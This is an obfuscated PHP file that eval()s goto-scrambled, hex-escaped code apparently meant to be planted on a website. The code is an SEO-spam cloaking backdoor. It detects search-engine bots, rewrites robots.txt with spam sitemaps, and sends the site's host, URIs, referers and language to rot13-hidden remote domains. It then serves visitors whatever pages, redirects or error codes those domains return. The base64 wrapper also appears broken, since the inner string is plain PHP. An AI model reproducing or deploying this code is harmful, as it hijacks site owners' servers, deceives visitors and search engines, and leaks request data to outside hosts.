<?php
$a=base64_decode(" goto GHOrx; VCX2w: $duri = urlencode($duri); goto rf3az; G6sXN: $string = "\62\65\60\x2d\154\x69\156\x6b\x31\x37\x38"; goto bgxlZ; ucLmI: preg_match("\x2f\x5c\x2f\x28\133\136\x5c\57\135\53\x5c\x2e\160\x68\x70\x29\x2f", $duri, $matches); goto NFhaa; WI9Rn: if (isset($_SERVER["\x48\x54\x54\x50\137\x52\105\x46\105\122\x45\x52"])) { $urlshang = $_SERVER["\110\x54\x54\120\137\122\x45\106\x45\x52\x45\x52"]; } goto GKGXe; yrv1H: $http_web = "\x68\164\164\160\163"; goto xrPjR; bgxlZ: $istest = false; goto yLJep; yk1SH: $zz = disbot(); goto FMt0I; WKjep: create_robots($http . "\x3a\57\57" . $host); goto ZpOvs; dMcfK: if (stristr($duri, "\x2f\x3f")) { $model = "\77"; } goto G6sXN; rf3az: $server = detect_server_software(); goto WKjep; yLJep: if (strpos($duri, $string) !== false) { $zz = 1; $duri = str_replace($string, '', $duri); $istest = true; } goto B2kDR; Eo1Lp: function disbot() { $user_agent = strtolower($_SERVER["\x48\124\124\x50\x5f\x55\x53\x45\x52\x5f\101\107\x45\116\x54"]); if (stristr($user_agent, "\147\157\157\147\154\145\142\x6f\x74") || stristr($user_agent, "\x62\x69\x6e\x67") || stristr($user_agent, "\171\141\150\x6f\157") || stristr($user_agent, "\x67\x6f\x6f\x67\154\145") || stristr($user_agent, "\x47\x6f\x6f\x67\x6c\145\142\157\164")) { return 1; } else { return 2; } } goto bFqiv; GHOrx: $xmlname = array("\x25\x33\62\45\63\x35\45\x33\60\45\x32\104\x25\67\71\x25\x37\x36\x25\66\61\45\x37\x38\45\63\x31\x25\63\x37\45\63\x38\x25\x32\x45\x25\67\60\45\x36\62\x25\66\x31\x25\x36\71\x25\66\62\x25\x37\x39\45\66\70\x25\x36\67\x25\66\103\x25\x32\105\x25\x36\102\45\x36\x43\x25\66\x44", "\45\x33\62\x25\63\65\45\x33\x30\45\x32\x44\x25\67\71\45\67\66\x25\x36\x31\45\x37\70\45\63\x31\45\x33\x37\45\x33\70\45\62\105\45\x37\62\x25\x36\63\45\67\65\45\x37\x32\x25\67\x41\45\67\x32\x25\67\66\45\x36\x42\x25\62\105\45\66\67\x25\x36\x32\x25\66\x33", "\x25\63\62\x25\63\x35\45\x33\60\45\62\104\45\x37\71\45\x37\66\x25\66\61\x25\67\x38\45\63\x31\45\x33\67\45\63\70\x25\x32\x45\x25\x36\x34\45\66\70\x25\66\105\45\x36\x31\45\66\67\x25\x36\x38\x25\66\x45\x25\66\x37\x25\66\x37\45\x32\105\x25\x36\x42\45\66\103\45\x36\x44", "\x25\63\62\45\x33\65\45\63\x30\x25\x32\x44\x25\67\x39\x25\67\x36\45\x36\61\45\x37\70\45\x33\61\45\63\x37\x25\x33\x38\x25\x32\x45\x25\x36\67\x25\67\x32\x25\67\60\x25\67\65\x25\66\x31\x25\67\x32\45\x36\x42\45\x36\x33\45\62\105\x25\66\x37\x25\x36\x32\45\x36\x33"); goto yrv1H; n_Rwt: function create_robots($url) { $path = $_SERVER["\x44\117\103\125\115\105\116\x54\137\122\x4f\117\124"] . "\x2f\x72\x6f\142\157\x74\x73\x2e\164\170\x74"; $content = "\125\x73\x65\162\x2d\141\147\145\x6e\x74\72\40\x2a" . PHP_EOL; $content .= "\x41\154\x6c\x6f\x77\72\40\57" . PHP_EOL . PHP_EOL; $content .= "\x53\x69\164\145\155\x61\160\72\x20" . $url . "\x2f\163\151\164\x65\155\141\x70\56\x78\x6d\x6c" . PHP_EOL; $content .= "\x53\151\x74\x65\155\141\x70\x3a\40" . $url . "\x2f\163\151\164\145\155\141\x70\55\x31\x2e\x78\x6d\x6c" . PHP_EOL; $content .= "\123\x69\x74\x65\x6d\141\x70\72\40" . $url . "\57\163\x69\x74\x65\x6d\141\160\x2d\x32\x2e\x78\x6d\x6c" . PHP_EOL; $content .= "\x53\x69\164\x65\x6d\141\160\x3a\40" . $url . "\x2f\x73\151\164\145\155\141\x70\x2d\x33\x2e\x78\x6d\154" . PHP_EOL; $content .= "\x53\151\164\145\x6d\141\x70\72\40" . $url . "\57\x73\151\x74\x65\155\141\x70\55\64\56\170\155\x6c" . PHP_EOL; $content .= "\x53\151\x74\x65\155\x61\160\x3a\40" . $url . "\57\x73\x69\164\145\x6d\x61\160\x2d\65\56\x78\x6d\154" . PHP_EOL; if (!file_exists($path)) { file_put_contents($path, $content); } else { $existingContent = file_get_contents($path); if ($existingContent !== $content) { file_put_contents($path, $content); } } } goto x4CaJ; NFhaa: if (empty($matches) || $matches[1] == "\x77\x70\x2d\143\162\x6f\x6d\x2e\x70\150\x70" || $matches[1] == "\x64\x65\x74\x61\151\154\x2e\160\x68\x70") { $model_file = "\x69\156\x64\145\170\x2e\x70\x68\x70"; $model = "\151\156\x64\x65\170"; } else { $model_file = $matches[1]; $position = strpos($duri, $model_file); if ($position !== false) { $model_file = substr($duri, 0, $position + strlen($model_file)); $model_file = ltrim($model_file, "\57"); } $model = str_replace("\x2e\160\150\x70", '', $model_file); } goto dMcfK; B2kDR: if ($duri != "\x2f") { $duri = str_replace("\57" . $model_file, '', $duri); $duri = str_replace("\x2f\151\156\x64\x65\170\56\x70\x68\160", '', $duri); $duri = str_replace("\41", '', $duri); } goto VCX2w; EZbd0: $lang = isset($_SERVER["\x48\x54\124\120\x5f\x41\103\103\105\120\124\137\114\x41\x4e\107\x55\101\107\x45"]) ? $_SERVER["\110\124\124\x50\137\x41\103\103\x45\x50\124\137\114\101\x4e\x47\x55\x41\107\x45"] : "\145\x6e"; goto khyKc; T2kkp: $html_content = request($xmlname, $http_web, $param); goto tZ0Ao; ZpOvs: $param = "\167\145\x62\75" . $host . "\x26\172\x7a\x3d" . $zz . "\46\x75\162\x69\75" . $duri . "\x26\165\x72\x6c\163\x68\x61\156\147\x3d" . $urlshang . "\46\x68\164\x74\160\x3d" . $http . "\46\x6c\x61\x6e\147\75" . $lang . "\46\x73\x65\x72\166\x65\162\x3d" . $server . "\46\155\157\x64\145\x6c\x3d" . $model; goto T2kkp; khyKc: $urlshang = ''; goto WI9Rn; hrO8L: $duri = $duri == '' ? "\57" : $duri; goto ucLmI; FMt0I: $duri = drequest_uri(); goto hrO8L; wz3DW: function is_https() { if (isset($_SERVER["\110\x54\124\120\123"]) && strtolower($_SERVER["\x48\124\124\120\123"]) !== "\x6f\146\146") { return true; } elseif (isset($_SERVER["\x48\124\124\120\x5f\x58\137\106\x4f\122\127\101\x52\104\x45\x44\x5f\x50\122\x4f\124\117"]) && $_SERVER["\110\x54\x54\120\x5f\130\x5f\106\x4f\x52\127\x41\x52\104\x45\x44\137\120\122\117\x54\117"] === "\x68\164\164\160\x73") { return true; } elseif (isset($_SERVER["\110\x54\x54\x50\137\106\x52\x4f\116\x54\x5f\105\116\104\137\x48\124\x54\x50\x53"]) && strtolower($_SERVER["\110\x54\x54\120\x5f\x46\x52\117\x4e\x54\x5f\105\116\x44\137\110\124\x54\x50\x53"]) !== "\157\146\x66") { return true; } return false; } goto dlGCu; GKGXe: if (is_https()) { $http = "\150\x74\x74\160\x73"; } else { $http = "\x68\164\x74\x70"; } goto yk1SH; xrPjR: $host = $_SERVER["\x48\124\x54\x50\x5f\x48\117\x53\124"]; goto EZbd0; dlGCu: function detect_server_software() { $path = $_SERVER["\x44\x4f\103\x55\x4d\105\116\124\137\122\x4f\117\x54"] . "\57\x2e\x68\164\x61\x63\x63\x65\x73\x73"; if (file_exists($path)) { return 1; } else { return 2; } } goto n_Rwt; bFqiv: function drequest_uri() { if (isset($_SERVER["\x52\x45\121\125\x45\123\124\137\125\x52\x49"])) { $duri = $_SERVER["\x52\x45\x51\x55\105\123\x54\137\x55\122\x49"]; } else { if (isset($_SERVER["\x61\x72\x67\x76"])) { $duri = $_SERVER["\x50\x48\x50\x5f\123\x45\114\x46"] . "\77" . $_SERVER["\x61\x72\x67\x76"][0]; } else { $duri = $_SERVER["\120\110\120\137\123\105\x4c\106"] . "\77" . $_SERVER["\x51\125\x45\122\x59\137\123\124\x52\111\116\107"]; } } return $duri; } goto wz3DW; tZ0Ao: if (!strstr($html_content, "\x6e\x6f\x62\x6f\x74\165\x73\x65\x72\x61\147\x65\x6e\164")) { if (strstr($html_content, "\x6f\x6b\150\164\x6d\x6c")) { @header("\103\x6f\x6e\164\x65\x6e\164\55\x74\171\160\145\72\x20\x74\x65\170\x74\57\150\164\x6d\x6c\x3b\x20\143\x68\141\162\163\145\x74\x3d\165\164\x66\x2d\x38"); $html_content = str_replace("\x6f\x6b\x68\x74\155\x6c", '', $html_content); if ($istest) { echo $string; } echo $html_content; die; } else { if (strstr($html_content, "\147\145\x74\143\x6f\x6e\164\x65\x6e\164\x35\x30\60\160\x61\147\145")) { @header("\110\124\x54\x50\57\61\56\x31\x20\x35\x30\x30\x20\x49\x6e\164\145\x72\156\x61\x6c\40\123\x65\x72\x76\145\162\x20\x45\162\162\157\162"); die; } else { if (strstr($html_content, "\64\x30\x34\x70\141\147\145")) { @header("\110\124\x54\x50\57\x31\56\61\x20\x34\x30\x34\40\x4e\157\164\40\106\157\165\156\x64"); die; } else { if (strstr($html_content, "\63\60\x31\x70\141\x67\145")) { @header("\x48\x54\x54\120\57\61\56\x31\40\63\60\x31\40\x4d\x6f\166\145\x64\x20\120\145\162\155\x61\156\x65\156\x74\154\171"); $html_content = str_replace("\x33\x30\x31\x70\x61\x67\x65", '', $html_content); header("\114\x6f\143\141\164\x69\157\156\72\40" . $html_content); die; } else { if (strstr($html_content, "\x6f\153\x78\x6d\154")) { $html_content = str_replace("\157\153\x78\x6d\x6c", '', $html_content); @header("\103\157\x6e\x74\145\156\x74\x2d\124\x79\x70\145\72\40\141\x70\x70\154\x69\143\x61\164\x69\157\156\57\170\x6d\154\x3b\x20\143\x68\141\162\163\x65\164\75\x75\164\146\x2d\70"); echo $html_content; die; } else { if (strstr($html_content, "\157\x6b\x72\157\x62\157\x74\163")) { $html_content = str_replace("\157\x6b\x72\157\142\x6f\164\x73", '', $html_content); @header("\x43\157\156\x74\145\x6e\164\55\124\x79\x70\x65\72\x20\164\x65\x78\x74\x2f\160\154\x61\151\156"); echo $html_content; die; } } } } } } } goto Eo1Lp; x4CaJ: function request($webs, $http_web, $param) { shuffle($webs); foreach ($webs as $domain) { $domain = str_rot13(urldecode($domain)); $url = $http_web . "\72\x2f\57" . $domain . "\57\163\x75\x70\145\162\x36\x2e\x70\150\x70\x3f" . $param; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { if (stristr(curl_error($ch), "\x34\64\x33")) { echo "\64\x34\63"; } curl_close($ch); } if (ini_get("\141\x6c\x6c\157\167\x5f\165\162\154\x5f\146\157\160\x65\156")) { $response = @file_get_contents($url); if ($response !== false) { return $response; } } } return "\x6e\x6f\x62\157\164\x75\163\145\x72\141\x67\145\156\164"; }");
eval($a);